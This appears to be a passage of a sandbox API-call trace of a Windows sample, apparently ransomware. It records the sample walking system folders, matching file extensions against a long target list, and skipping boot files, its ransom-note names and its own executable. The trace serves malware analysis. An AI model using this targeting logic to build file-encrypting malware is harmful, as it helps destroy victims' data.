	[0189.130] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 1
	[0189.130] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437960ad, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x437960ad, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x437960ad, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16400, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadrh15.dll", cAlternateFileName="")) returned 0
	[0189.130] FindClose (in: hFindFile=0x3fb27d8 | out: hFindFile=0x3fb27d8) returned 1
	[0189.130] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3ff78a0 | out: hHeap=0x750000) returned 1
	[0189.130] FindNextFileW (in: hFindFile=0x3fb21d8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x378, dwReserved1=0xffffe18f, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1
	[0189.130] FindNextFileW (in: hFindFile=0x3fb21d8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x378, dwReserved1=0xffffe18f, cFileName="en-US", cAlternateFileName="")) returned 1
	[0189.130] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fb2598
	[0189.130] FindNextFileW (in: hFindFile=0x3fb2598, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb3579, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0189.130] FindNextFileW (in: hFindFile=0x3fb2598, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 1
	[0189.131] FindNextFileW (in: hFindFile=0x3fb2598, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd86035, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll.mui", cAlternateFileName="")) returned 0
	[0189.131] FindClose (in: hFindFile=0x3fb2598 | out: hFindFile=0x3fb2598) returned 1
	[0189.131] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x3ff78a0 | out: hHeap=0x750000) returned 1
	[0189.131] FindNextFileW (in: hFindFile=0x3fb21d8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x378, dwReserved1=0xffffe18f, cFileName="msadc", cAlternateFileName="")) returned 1
	[0189.131] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3fb2118
	[0189.421] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0189.421] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x276, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcjavas.inc", cAlternateFileName="")) returned 1
	[0189.421] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41dce0ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41dce0ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41dce0ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adcvbs.inc", cAlternateFileName="")) returned 1
	[0189.421] lstrlenW (lpString="adcvbs.inc") returned 10
	[0189.421] lstrlenW (lpString=".1cd") returned 4
	[0189.421] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0189.421] lstrlenW (lpString=".3ds") returned 4
	[0189.421] lstrcmpiW (lpString1=".3ds", lpString2=".inc") returned -1
	[0189.421] lstrlenW (lpString=".3fr") returned 4
	[0189.421] lstrcmpiW (lpString1=".3fr", lpString2=".inc") returned -1
	[0189.421] lstrlenW (lpString=".3g2") returned 4
	[0189.421] lstrcmpiW (lpString1=".3g2", lpString2=".inc") returned -1
	[0189.421] lstrlenW (lpString=".3gp") returned 4
	[0189.421] lstrcmpiW (lpString1=".3gp", lpString2=".inc") returned -1
	[0189.421] lstrlenW (lpString=".7z") returned 3
	[0189.421] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0189.421] lstrlenW (lpString=".accda") returned 6
	[0189.421] lstrcmpiW (lpString1=".accda", lpString2="bs.inc") returned -1
	[0189.421] lstrlenW (lpString=".accdb") returned 6
	[0189.421] lstrcmpiW (lpString1=".accdb", lpString2="bs.inc") returned -1
	[0189.421] lstrlenW (lpString=".accdc") returned 6
	[0189.421] lstrcmpiW (lpString1=".accdc", lpString2="bs.inc") returned -1
	[0189.421] lstrlenW (lpString=".accde") returned 6
	[0189.422] lstrcmpiW (lpString1=".accde", lpString2="bs.inc") returned -1
	[0189.422] lstrlenW (lpString=".accdt") returned 6
	[0189.422] lstrcmpiW (lpString1=".accdt", lpString2="bs.inc") returned -1
	[0189.422] lstrlenW (lpString=".accdw") returned 6
	[0189.422] lstrcmpiW (lpString1=".accdw", lpString2="bs.inc") returned -1
	[0189.422] lstrlenW (lpString=".adb") returned 4
	[0189.422] lstrcmpiW (lpString1=".adb", lpString2=".inc") returned -1
	[0189.422] lstrlenW (lpString=".adp") returned 4
	[0189.422] lstrcmpiW (lpString1=".adp", lpString2=".inc") returned -1
	[0189.422] lstrlenW (lpString=".ai") returned 3
	[0189.422] lstrcmpiW (lpString1=".ai", lpString2="inc") returned -1
	[0189.422] lstrlenW (lpString=".ai3") returned 4
	[0189.422] lstrcmpiW (lpString1=".ai3", lpString2=".inc") returned -1
	[0189.422] lstrlenW (lpString=".ai4") returned 4
	[0189.422] lstrcmpiW (lpString1=".ai4", lpString2=".inc") returned -1
	[0189.422] lstrlenW (lpString=".ai5") returned 4
	[0189.422] lstrcmpiW (lpString1=".ai5", lpString2=".inc") returned -1
	[0189.422] lstrlenW (lpString=".ai6") returned 4
	[0189.422] lstrcmpiW (lpString1=".ai6", lpString2=".inc") returned -1
	[0189.422] lstrlenW (lpString=".ai7") returned 4
	[0189.422] lstrcmpiW (lpString1=".ai7", lpString2=".inc") returned -1
	[0189.422] lstrlenW (lpString=".ai8") returned 4
	[0189.422] lstrcmpiW (lpString1=".ai8", lpString2=".inc") returned -1
	[0189.422] lstrlenW (lpString=".anim") returned 5
	[0189.422] lstrcmpiW (lpString1=".anim", lpString2="s.inc") returned -1
	[0189.422] lstrlenW (lpString=".arw") returned 4
	[0189.422] lstrcmpiW (lpString1=".arw", lpString2=".inc") returned -1
	[0189.422] lstrlenW (lpString=".as") returned 3
	[0189.422] lstrcmpiW (lpString1=".as", lpString2="inc") returned -1
	[0189.422] lstrlenW (lpString=".asa") returned 4
	[0189.422] lstrcmpiW (lpString1=".asa", lpString2=".inc") returned -1
	[0189.422] lstrlenW (lpString=".asc") returned 4
	[0189.422] lstrcmpiW (lpString1=".asc", lpString2=".inc") returned -1
	[0189.422] lstrlenW (lpString=".ascx") returned 5
	[0189.422] lstrcmpiW (lpString1=".ascx", lpString2="s.inc") returned -1
	[0189.422] lstrlenW (lpString=".asm") returned 4
	[0189.422] lstrcmpiW (lpString1=".asm", lpString2=".inc") returned -1
	[0189.423] lstrlenW (lpString=".asmx") returned 5
	[0189.423] lstrcmpiW (lpString1=".asmx", lpString2="s.inc") returned -1
	[0189.423] lstrlenW (lpString=".asp") returned 4
	[0189.423] lstrcmpiW (lpString1=".asp", lpString2=".inc") returned -1
	[0189.423] lstrlenW (lpString=".aspx") returned 5
	[0189.423] lstrcmpiW (lpString1=".aspx", lpString2="s.inc") returned -1
	[0189.423] lstrlenW (lpString=".asr") returned 4
	[0189.423] lstrcmpiW (lpString1=".asr", lpString2=".inc") returned -1
	[0189.423] lstrlenW (lpString=".asx") returned 4
	[0189.423] lstrcmpiW (lpString1=".asx", lpString2=".inc") returned -1
	[0189.423] lstrlenW (lpString=".avi") returned 4
	[0189.423] lstrcmpiW (lpString1=".avi", lpString2=".inc") returned -1
	[0189.423] lstrlenW (lpString=".avs") returned 4
	[0189.423] lstrcmpiW (lpString1=".avs", lpString2=".inc") returned -1
	[0189.423] lstrlenW (lpString=".backup") returned 7
	[0189.423] lstrcmpiW (lpString1=".backup", lpString2="vbs.inc") returned -1
	[0189.423] lstrlenW (lpString=".bak") returned 4
	[0189.423] lstrcmpiW (lpString1=".bak", lpString2=".inc") returned -1
	[0189.423] lstrlenW (lpString=".bay") returned 4
	[0189.423] lstrcmpiW (lpString1=".bay", lpString2=".inc") returned -1
	[0189.423] lstrlenW (lpString=".bd") returned 3
	[0189.423] lstrcmpiW (lpString1=".bd", lpString2="inc") returned -1
	[0189.423] lstrlenW (lpString=".bin") returned 4
	[0189.423] lstrcmpiW (lpString1=".bin", lpString2=".inc") returned -1
	[0189.423] lstrlenW (lpString=".bmp") returned 4
	[0189.423] lstrcmpiW (lpString1=".bmp", lpString2=".inc") returned -1
	[0189.423] lstrlenW (lpString=".bz2") returned 4
	[0189.423] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0189.423] lstrlenW (lpString=".c") returned 2
	[0189.423] lstrcmpiW (lpString1=".c", lpString2="nc") returned -1
	[0189.423] lstrlenW (lpString=".cdr") returned 4
	[0189.423] lstrcmpiW (lpString1=".cdr", lpString2=".inc") returned -1
	[0189.423] lstrlenW (lpString=".cer") returned 4
	[0189.423] lstrcmpiW (lpString1=".cer", lpString2=".inc") returned -1
	[0189.423] lstrlenW (lpString=".cf") returned 3
	[0189.423] lstrcmpiW (lpString1=".cf", lpString2="inc") returned -1
	[0189.423] lstrlenW (lpString=".cfc") returned 4
	[0189.424] lstrcmpiW (lpString1=".cfc", lpString2=".inc") returned -1
	[0189.424] lstrlenW (lpString=".cfm") returned 4
	[0189.424] lstrcmpiW (lpString1=".cfm", lpString2=".inc") returned -1
	[0189.424] lstrlenW (lpString=".cfml") returned 5
	[0189.424] lstrcmpiW (lpString1=".cfml", lpString2="s.inc") returned -1
	[0189.424] lstrlenW (lpString=".cfu") returned 4
	[0189.424] lstrcmpiW (lpString1=".cfu", lpString2=".inc") returned -1
	[0189.424] lstrlenW (lpString=".chm") returned 4
	[0189.424] lstrcmpiW (lpString1=".chm", lpString2=".inc") returned -1
	[0189.424] lstrlenW (lpString=".cin") returned 4
	[0189.424] lstrcmpiW (lpString1=".cin", lpString2=".inc") returned -1
	[0189.424] lstrlenW (lpString=".class") returned 6
	[0189.424] lstrcmpiW (lpString1=".class", lpString2="bs.inc") returned -1
	[0189.424] lstrlenW (lpString=".clx") returned 4
	[0189.424] lstrcmpiW (lpString1=".clx", lpString2=".inc") returned -1
	[0189.424] lstrlenW (lpString=".config") returned 7
	[0189.424] lstrcmpiW (lpString1=".config", lpString2="vbs.inc") returned -1
	[0189.424] lstrlenW (lpString=".cpp") returned 4
	[0189.424] lstrcmpiW (lpString1=".cpp", lpString2=".inc") returned -1
	[0189.424] lstrlenW (lpString=".cr2") returned 4
	[0189.424] lstrcmpiW (lpString1=".cr2", lpString2=".inc") returned -1
	[0189.424] lstrlenW (lpString=".crt") returned 4
	[0189.424] lstrcmpiW (lpString1=".crt", lpString2=".inc") returned -1
	[0189.424] lstrlenW (lpString=".crw") returned 4
	[0189.424] lstrcmpiW (lpString1=".crw", lpString2=".inc") returned -1
	[0189.424] lstrlenW (lpString=".cs") returned 3
	[0189.424] lstrcmpiW (lpString1=".cs", lpString2="inc") returned -1
	[0189.424] lstrlenW (lpString=".css") returned 4
	[0189.424] lstrcmpiW (lpString1=".css", lpString2=".inc") returned -1
	[0189.424] lstrlenW (lpString=".csv") returned 4
	[0189.424] lstrcmpiW (lpString1=".csv", lpString2=".inc") returned -1
	[0189.424] lstrlenW (lpString=".cub") returned 4
	[0189.424] lstrcmpiW (lpString1=".cub", lpString2=".inc") returned -1
	[0189.424] lstrlenW (lpString=".dae") returned 4
	[0189.424] lstrcmpiW (lpString1=".dae", lpString2=".inc") returned -1
	[0189.424] lstrlenW (lpString=".dat") returned 4
	[0189.424] lstrcmpiW (lpString1=".dat", lpString2=".inc") returned -1
	[0189.425] lstrlenW (lpString=".db") returned 3
	[0189.425] lstrcmpiW (lpString1=".db", lpString2="inc") returned -1
	[0189.425] lstrlenW (lpString=".dbf") returned 4
	[0189.425] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0189.425] lstrlenW (lpString=".dbx") returned 4
	[0189.425] lstrcmpiW (lpString1=".dbx", lpString2=".inc") returned -1
	[0189.425] lstrlenW (lpString=".dc3") returned 4
	[0189.425] lstrcmpiW (lpString1=".dc3", lpString2=".inc") returned -1
	[0189.425] lstrlenW (lpString=".dcm") returned 4
	[0189.425] lstrcmpiW (lpString1=".dcm", lpString2=".inc") returned -1
	[0189.425] lstrlenW (lpString=".dcr") returned 4
	[0189.425] lstrcmpiW (lpString1=".dcr", lpString2=".inc") returned -1
	[0189.425] lstrlenW (lpString=".der") returned 4
	[0189.425] lstrcmpiW (lpString1=".der", lpString2=".inc") returned -1
	[0189.425] lstrlenW (lpString=".dib") returned 4
	[0189.425] lstrcmpiW (lpString1=".dib", lpString2=".inc") returned -1
	[0189.425] lstrlenW (lpString=".dic") returned 4
	[0189.425] lstrcmpiW (lpString1=".dic", lpString2=".inc") returned -1
	[0189.425] lstrlenW (lpString=".dif") returned 4
	[0189.425] lstrcmpiW (lpString1=".dif", lpString2=".inc") returned -1
	[0189.425] lstrlenW (lpString=".divx") returned 5
	[0189.425] lstrcmpiW (lpString1=".divx", lpString2="s.inc") returned -1
	[0189.425] lstrlenW (lpString=".djvu") returned 5
	[0189.425] lstrcmpiW (lpString1=".djvu", lpString2="s.inc") returned -1
	[0189.425] lstrlenW (lpString=".dng") returned 4
	[0189.425] lstrcmpiW (lpString1=".dng", lpString2=".inc") returned -1
	[0189.425] lstrlenW (lpString=".doc") returned 4
	[0189.425] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0189.425] lstrlenW (lpString=".docm") returned 5
	[0189.425] lstrcmpiW (lpString1=".docm", lpString2="s.inc") returned -1
	[0189.425] lstrlenW (lpString=".docx") returned 5
	[0189.425] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0189.425] lstrlenW (lpString=".dot") returned 4
	[0189.425] lstrcmpiW (lpString1=".dot", lpString2=".inc") returned -1
	[0189.425] lstrlenW (lpString=".dotm") returned 5
	[0189.425] lstrcmpiW (lpString1=".dotm", lpString2="s.inc") returned -1
	[0189.425] lstrlenW (lpString=".dotx") returned 5
	[0189.426] lstrcmpiW (lpString1=".dotx", lpString2="s.inc") returned -1
	[0189.426] lstrlenW (lpString=".dpx") returned 4
	[0189.426] lstrcmpiW (lpString1=".dpx", lpString2=".inc") returned -1
	[0189.426] lstrlenW (lpString=".dqy") returned 4
	[0189.426] lstrcmpiW (lpString1=".dqy", lpString2=".inc") returned -1
	[0189.426] lstrlenW (lpString=".dsn") returned 4
	[0189.426] lstrcmpiW (lpString1=".dsn", lpString2=".inc") returned -1
	[0189.426] lstrlenW (lpString=".dt") returned 3
	[0189.426] lstrcmpiW (lpString1=".dt", lpString2="inc") returned -1
	[0189.426] lstrlenW (lpString=".dtd") returned 4
	[0189.426] lstrcmpiW (lpString1=".dtd", lpString2=".inc") returned -1
	[0189.426] lstrlenW (lpString=".dwg") returned 4
	[0189.426] lstrcmpiW (lpString1=".dwg", lpString2=".inc") returned -1
	[0189.426] lstrlenW (lpString=".dwt") returned 4
	[0189.426] lstrcmpiW (lpString1=".dwt", lpString2=".inc") returned -1
	[0189.426] lstrlenW (lpString=".dx") returned 3
	[0189.426] lstrcmpiW (lpString1=".dx", lpString2="inc") returned -1
	[0189.426] lstrlenW (lpString=".dxf") returned 4
	[0189.426] lstrcmpiW (lpString1=".dxf", lpString2=".inc") returned -1
	[0189.426] lstrlenW (lpString=".edml") returned 5
	[0189.426] lstrcmpiW (lpString1=".edml", lpString2="s.inc") returned -1
	[0189.426] lstrlenW (lpString=".efd") returned 4
	[0189.426] lstrcmpiW (lpString1=".efd", lpString2=".inc") returned -1
	[0189.426] lstrlenW (lpString=".elf") returned 4
	[0189.426] lstrcmpiW (lpString1=".elf", lpString2=".inc") returned -1
	[0189.426] lstrlenW (lpString=".emf") returned 4
	[0189.426] lstrcmpiW (lpString1=".emf", lpString2=".inc") returned -1
	[0189.426] lstrlenW (lpString=".emz") returned 4
	[0189.426] lstrcmpiW (lpString1=".emz", lpString2=".inc") returned -1
	[0189.426] lstrlenW (lpString=".epf") returned 4
	[0189.426] lstrcmpiW (lpString1=".epf", lpString2=".inc") returned -1
	[0189.426] lstrlenW (lpString=".eps") returned 4
	[0189.426] lstrcmpiW (lpString1=".eps", lpString2=".inc") returned -1
	[0189.426] lstrlenW (lpString=".epsf") returned 5
	[0189.426] lstrcmpiW (lpString1=".epsf", lpString2="s.inc") returned -1
	[0189.426] lstrlenW (lpString=".epsp") returned 5
	[0189.426] lstrcmpiW (lpString1=".epsp", lpString2="s.inc") returned -1
	[0189.427] lstrlenW (lpString=".erf") returned 4
	[0189.427] lstrcmpiW (lpString1=".erf", lpString2=".inc") returned -1
	[0189.427] lstrlenW (lpString=".exr") returned 4
	[0189.427] lstrcmpiW (lpString1=".exr", lpString2=".inc") returned -1
	[0189.427] lstrlenW (lpString=".f4v") returned 4
	[0189.427] lstrcmpiW (lpString1=".f4v", lpString2=".inc") returned -1
	[0189.427] lstrlenW (lpString=".fido") returned 5
	[0189.427] lstrcmpiW (lpString1=".fido", lpString2="s.inc") returned -1
	[0189.427] lstrlenW (lpString=".flm") returned 4
	[0189.427] lstrcmpiW (lpString1=".flm", lpString2=".inc") returned -1
	[0189.427] lstrlenW (lpString=".flv") returned 4
	[0189.427] lstrcmpiW (lpString1=".flv", lpString2=".inc") returned -1
	[0189.427] lstrlenW (lpString=".frm") returned 4
	[0189.427] lstrcmpiW (lpString1=".frm", lpString2=".inc") returned -1
	[0189.427] lstrlenW (lpString=".fxg") returned 4
	[0189.427] lstrcmpiW (lpString1=".fxg", lpString2=".inc") returned -1
	[0189.427] lstrlenW (lpString=".geo") returned 4
	[0189.427] lstrcmpiW (lpString1=".geo", lpString2=".inc") returned -1
	[0189.427] lstrlenW (lpString=".gif") returned 4
	[0189.427] lstrcmpiW (lpString1=".gif", lpString2=".inc") returned -1
	[0189.427] lstrlenW (lpString=".grs") returned 4
	[0189.427] lstrcmpiW (lpString1=".grs", lpString2=".inc") returned -1
	[0189.427] lstrlenW (lpString=".gz") returned 3
	[0189.427] lstrcmpiW (lpString1=".gz", lpString2="inc") returned -1
	[0189.427] lstrlenW (lpString=".h") returned 2
	[0189.427] lstrcmpiW (lpString1=".h", lpString2="nc") returned -1
	[0189.427] lstrlenW (lpString=".hdr") returned 4
	[0189.427] lstrcmpiW (lpString1=".hdr", lpString2=".inc") returned -1
	[0189.427] lstrlenW (lpString=".hpp") returned 4
	[0189.427] lstrcmpiW (lpString1=".hpp", lpString2=".inc") returned -1
	[0189.427] lstrlenW (lpString=".hta") returned 4
	[0189.427] lstrcmpiW (lpString1=".hta", lpString2=".inc") returned -1
	[0189.427] lstrlenW (lpString=".htc") returned 4
	[0189.427] lstrcmpiW (lpString1=".htc", lpString2=".inc") returned -1
	[0189.427] lstrlenW (lpString=".htm") returned 4
	[0189.427] lstrcmpiW (lpString1=".htm", lpString2=".inc") returned -1
	[0189.427] lstrlenW (lpString=".html") returned 5
	[0189.428] lstrcmpiW (lpString1=".html", lpString2="s.inc") returned -1
	[0189.428] lstrlenW (lpString=".icb") returned 4
	[0189.428] lstrcmpiW (lpString1=".icb", lpString2=".inc") returned -1
	[0189.428] lstrlenW (lpString=".ics") returned 4
	[0189.428] lstrcmpiW (lpString1=".ics", lpString2=".inc") returned -1
	[0189.428] lstrlenW (lpString=".iff") returned 4
	[0189.428] lstrcmpiW (lpString1=".iff", lpString2=".inc") returned -1
	[0189.428] lstrlenW (lpString=".inc") returned 4
	[0189.428] lstrcmpiW (lpString1=".inc", lpString2=".inc") returned 0
	[0189.428] lstrlenW (lpString="adcvbs.inc") returned 10
	[0189.428] lstrlenW (lpString=".Z9") returned 3
	[0189.428] lstrcmpiW (lpString1=".Z9", lpString2="inc") returned -1
	[0189.428] lstrlenW (lpString="adcvbs.inc") returned 10
	[0189.428] lstrcmpiW (lpString1="boot.ini", lpString2="adcvbs.inc") returned 1
	[0189.428] lstrcmpiW (lpString1="bootfont.bin", lpString2="adcvbs.inc") returned 1
	[0189.428] lstrcmpiW (lpString1="ntldr", lpString2="adcvbs.inc") returned 1
	[0189.428] lstrcmpiW (lpString1="ntdetect.com", lpString2="adcvbs.inc") returned 1
	[0189.428] lstrcmpiW (lpString1="io.sys", lpString2="adcvbs.inc") returned 1
	[0189.428] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="adcvbs.inc") returned 1
	[0189.428] lstrcmpiW (lpString1="Info.hta", lpString2="adcvbs.inc") returned 1
	[0189.428] lstrcmpiW (lpString1="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpString2="adcvbs.inc") returned 1
	[0189.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0189.428] FindNextFileW (in: hFindFile=0x3fb2118, lpFindFileData=0x2faf308 | out: lpFindFileData=0x2faf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0189.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US") returned 48
	[0189.428] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Common Files\\System\\msadc\\en-US") returned 1
	[0189.428] lstrlenW (lpString="en-US") returned 5
	[0189.428] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-US") returned -1
	[0189.428] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xfffe) returned 0x40398d0
	[0189.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\en-US") returned 48
	[0189.428] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3fb27d8
	[0189.429] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d805e9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0189.429] FindNextFileW (in: hFindFile=0x3fb27d8, lpFindFileData=0x2faf08c | out: lpFindFileData=0x2faf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b99489e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb198bf00, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadcer.dll.mui", cAlternateFileName="")) returned 1
